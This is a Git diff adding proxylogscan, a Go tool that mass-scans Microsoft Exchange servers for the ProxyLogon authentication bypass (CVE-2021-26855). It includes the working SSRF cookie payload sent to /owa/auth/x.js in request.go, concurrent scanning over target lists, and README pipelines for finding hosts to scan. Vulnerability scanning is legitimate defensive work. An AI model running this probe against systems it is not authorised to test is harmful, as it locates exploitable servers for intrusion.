init 1

.github/FUNDING.yml

@@ -0,0 +1,2 @@
+ko_fi: dwisiswant0
+custom: ["https://paypal.me/dw1s", "https://saweria.co/dwisiswant0"]

.github/workflows/release.yaml

@@ -0,0 +1,28 @@
+name: Release
+on:
+ create:
+ tags:
+ - v*
+
+jobs: 
+ release: 
+ name: "Release binary"
+ runs-on: ubuntu-latest
+ steps: 
+ - name: "Check out code"
+ uses: actions/checkout@v2
+ with: 
+ fetch-depth: 0
+
+ - name: "Set up Go"
+ uses: actions/setup-go@v2
+ with: 
+ go-version: 1.13
+
+ - name: "Create release on GitHub"
+ uses: goreleaser/goreleaser-action@v2
+ env: 
+ GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
+ with: 
+ args: "release --rm-dist"
+ version: latest

.gitignore

@@ -0,0 +1 @@
+dist/

.goreleaser.yaml

@@ -0,0 +1,16 @@
+builds:
+ - binary: proxylogscan
+ main: .
+ goos:
+ - linux
+ - windows
+ - darwin
+ goarch:
+ - amd64
+ - 386
+ - arm
+ - arm64
+
+archives:
+ - id: binary
+ format: binary

LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2021 dwisiswant0
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

README.md

@@ -0,0 +1,55 @@
+# proxylogscan
+
+<img src="https://proxylogon.com/images/logo-white.png" height="400">
+
+This tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855).
+By chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution (CVE-2021-27065).
+As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server.
+
+This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
+
+All components are vulnerable by default.
+
+## Installation
+
+> [Go 1.13+](https://golang.org/doc/install) required.
+
+```console
+$ go get dw1.io/proxylogscan
+```
+
+Or download pre-built binary at [release page](https://github.com/dwisiswant0/proxylogscan/releases).
+
+## Usage
+
+```console
+$ proxylogscan -h
+Usage of proxylogscan:
+ -m string
+ Request method (default "GET")
+ -p string
+ Proxy URL (HTTP/SOCKSv5)
+ -s Silent mode (Only display vulnerable/suppress errors)
+ -u string
+ Target URL/list to scan
+```
+
+### Examples
+
+There are 3 ways to use this tool.
+
+```
+$ proxylogscan -u https://domain.tld
+$ proxylogscan -u urls.txt
+$ cat urls.txt | proxylogscan
+$ subfinder -silent -d domain.tld | httpx -silent | proxylogscan
+```
+
+## Supporting Materials
+
+- https://proxylogon.com
+- https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
+
+## License
+
+`proxylogscan` is distributed under MIT.

go.mod

@@ -0,0 +1,9 @@
+module dw1.io/proxylogscan
+
+go 1.13
+
+require (
+ github.com/logrusorgru/aurora/v3 v3.0.0
+ github.com/projectdiscovery/gologger v1.1.4
+ ktbs.dev/mubeng v0.4.3
+)

go.sum

@@ -0,0 +1,71 @@
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+github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
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main.go

@@ -0,0 +1,66 @@
+package main
+
+import (
+ "flag"
+ "fmt"
+ "strings"
+
+ "github.com/logrusorgru/aurora/v3"
+ log "github.com/projectdiscovery/gologger"
+ "github.com/projectdiscovery/gologger/levels"
+)
+
+func init() {
+ flag.StringVar(&baseURL, "u", "", "Target URL/list to scan")
+ flag.StringVar(&method, "m", "GET", "Request method")
+ flag.StringVar(&proxyURL, "p", "", "Proxy URL (HTTP/SOCKSv5)")
+ flag.BoolVar(&silent, "s", false, "Silent mode (Only display vulnerable/suppress errors)")
+ flag.Parse()
+
+ if silent {
+ log.DefaultLogger.SetMaxLevel(levels.LevelSilent)
+ }
+}
+
+func main() {
+ if strings.HasPrefix(baseURL, "http") {
+ if !isURL(baseURL) {
+ log.Fatal().Msg("invalid URL: " + baseURL)
+ }
+ target = []string{baseURL}
+ } else {
+ list, err := readList(baseURL)
+ if err != nil {
+ log.Fatal().Msg(err.Error())
+ }
+ target = list
+ }
+
+ for _, URL := range target {
+ wg.Add(1)
+
+ go func(u string) {
+ defer wg.Done()
+
+ req, err := request(u, method, proxyURL)
+ if err != nil {
+ log.Error().Msg(err.Error())
+ }
+
+ resp, err := client.Do(req)
+ if err != nil {
+ log.Error().Msgf("%s\n", err.Error())
+ return
+ }
+ defer resp.Body.Close()
+
+ if isVuln(resp) {
+ fmt.Printf("[%s] %s\n", aurora.Green("VLN"), u)
+ } else {
+ log.Error().Msg(u)
+ }
+ }(URL)
+ }
+
+ wg.Wait()
+}

request.go

@@ -0,0 +1,33 @@
+package main
+
+import (
+ "net/http"
+ "net/url"
+ "path"
+
+ "ktbs.dev/mubeng/pkg/mubeng"
+)
+
+func request(URL string, method string, proxyURL string) (*http.Request, error) {
+ u, err := url.Parse(URL)
+ if err != nil {
+ return nil, err
+ }
+ u.Path = path.Join(u.Path, "/owa/auth/x.js")
+ URL = u.String()
+
+ req, err := http.NewRequest(method, URL, nil)
+ if err != nil {
+ return req, err
+ }
+ req.Header.Set("Cookie", "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;")
+
+ if proxyURL != "" {
+ client.Transport, err = mubeng.Transport(proxyURL)
+ if err != nil {
+ return req, err
+ }
+ }
+
+ return req, nil
+}